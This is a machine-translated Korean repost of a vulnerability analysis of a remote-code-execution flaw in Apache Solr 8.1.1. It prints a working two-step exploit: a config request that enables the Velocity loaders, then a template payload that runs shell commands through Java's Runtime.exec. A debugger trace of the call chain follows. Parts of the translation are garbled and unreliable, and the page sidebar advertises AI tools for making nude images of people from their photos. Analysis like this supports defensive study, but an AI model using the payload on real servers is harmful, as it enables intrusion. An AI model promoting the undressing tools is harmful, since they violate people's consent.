찾다
운영 및 유지보수안전Apache Solr의 최신 RCE 취약점을 분석하는 방법

소개

Apache Solr에서 RCE 0day 취약점이 발견되었습니다(취약점 번호는 제공되지 않음). 여기서는 참조용으로 개체를 재현하고 전체 RCE 프로세스를 분석합니다.

취약성 재발

재생산 버전: 8.1.1

RCE를 구현하려면 먼저 두 단계가 필요합니다. 먼저 애플리케이션이 특정 코어(Core Admin에서 볼 수 있음)를 활성화했는지 확인하고 인스턴스에서 애플리케이션을 확인합니다.

怎样进行Apache Solr最新RCE漏洞分析

그런 다음 먼저 다음 json 데이터를 구성 인터페이스

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

怎样进行Apache Solr最新RCE漏洞分析

로 보냅니다. 그런 다음 다음 URL을 방문하여 RCE를 구현합니다.

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Principle

먼저 첫 번째 데이터 패킷을 분석합니다. mycore 구성을 위한 것이므로 먼저 구성 요청을 처리하는 SolrConfigHandler의 handlerRequestBody 함수에 중단점을 설정합니다.

怎样进行Apache Solr最新RCE漏洞分析

POST 요청이므로 HandlePOST 함수를 후속 조치합니다.

怎样进行Apache Solr最新RCE漏洞分析

handPOST에서, 먼저 mycore를 꺼내십시오. 현재 구성은 우리가 보낸 구성과 동시에 handlerCommands 함수로 가져오고 후속 작업에서는 마지막으로 addNamedPlugin 함수에 들어가고 solr.resource.loader.enabled 및 params를 사용하여 VelocityResponseWriter 객체를 생성합니다. loader.enabled 값은 true로 설정되고, 객체 이름은 Velocity입니다.

怎样进行Apache Solr最新RCE漏洞分析

그런 다음 두 번째 데이터 패킷을 보낼 때 HttpSolrCall.call에서 responseWriter를 얻을 때 매개변수 wt의 값에 따라 responseWriter 객체를 얻습니다. wt가 속도일 때 우리가 얻는 것은 신중하게 구성된 것입니다. 일련의 후속 호출 후 VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

는 마침내 우리의 취약점에서 가장 심각한 VelocityResponseWriter.write 함수에 진입합니다. 먼저 createEngine 함수가 호출되어 custom.vrm-을 포함하는 악성 템플릿을 생성합니다. >payload.engine,

怎样进行Apache Solr最新RCE漏洞分析

악성 템플릿은 엔진 overridingProperties

怎样进行Apache Solr最新RCE漏洞分析

의 params.resource.loader.instance 및 solr.resource.loader.instance에 배치됩니다. 여기에는 매우 중요한 점이 있습니다. params.resource.loader.instance 및 solr.resource.loader.instance를 입력하여 paramsResourceLoaderEnabled 및 solrResourceLoaderEnabled가 True인지 확인해야 합니다. 이것이 첫 번째 데이터 패킷이 수행하는 작업입니다.

怎样进行Apache Solr最新RCE漏洞分析

VelocityResponseWriter.getTemplate은 우리가 제출한 v.template 매개변수를 기반으로 우리가 구성한 악성 템플릿을 가져옵니다

怎样进行Apache Solr最新RCE漏洞分析

마지막으로 악성 템플릿이 제거되고 해당 병합 메서드가 호출되었습니다.

怎样进行Apache Solr最新RCE漏洞分析

이 템플릿을 이해하려면, Velocity Java 템플릿 엔진(이 tmplate은 org.apache.velocity.Template 클래스 객체이기 때문에)을 이해해야 합니다. 공식 설명은 다음과 같이 번역됩니다.

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象

이 설명에서 우리는 이 템플릿 엔진에 우리는 기본적인 작성 방법만 이해하면 됩니다.

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);

위의 기본 구문 소개를 통해 페이로드 구성 방법을 더 깊이 이해하고 싶다면 Velocity Java 정보를 확인하세요. 당신 자신, 우리는 여기에 있습니다. 더 이상 깊이가 없습니다.

그래서 마지막이라는 악성 템플릿의 병합 방식을 통해 RCE가 성공적으로 발생하게 되었고, 드디어 키 콜 체인이 추가되었습니다.

怎样进行Apache Solr最新RCE漏洞分析

복구 계획

현재 공식 패치가 제공되지 않아 Solr에 대한 접근을 제한하는 것이 좋습니다.

위 내용은 Apache Solr의 최신 RCE 취약점을 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명
이 기사는 亿速云에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
4 몇 주 전By尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

안전한 시험 브라우저

안전한 시험 브라우저

안전한 시험 브라우저는 온라인 시험을 안전하게 치르기 위한 보안 브라우저 환경입니다. 이 소프트웨어는 모든 컴퓨터를 안전한 워크스테이션으로 바꿔줍니다. 이는 모든 유틸리티에 대한 액세스를 제어하고 학생들이 승인되지 않은 리소스를 사용하는 것을 방지합니다.

맨티스BT

맨티스BT

Mantis는 제품 결함 추적을 돕기 위해 설계된 배포하기 쉬운 웹 기반 결함 추적 도구입니다. PHP, MySQL 및 웹 서버가 필요합니다. 데모 및 호스팅 서비스를 확인해 보세요.

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.

SublimeText3 영어 버전

SublimeText3 영어 버전

권장 사항: Win 버전, 코드 프롬프트 지원!

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)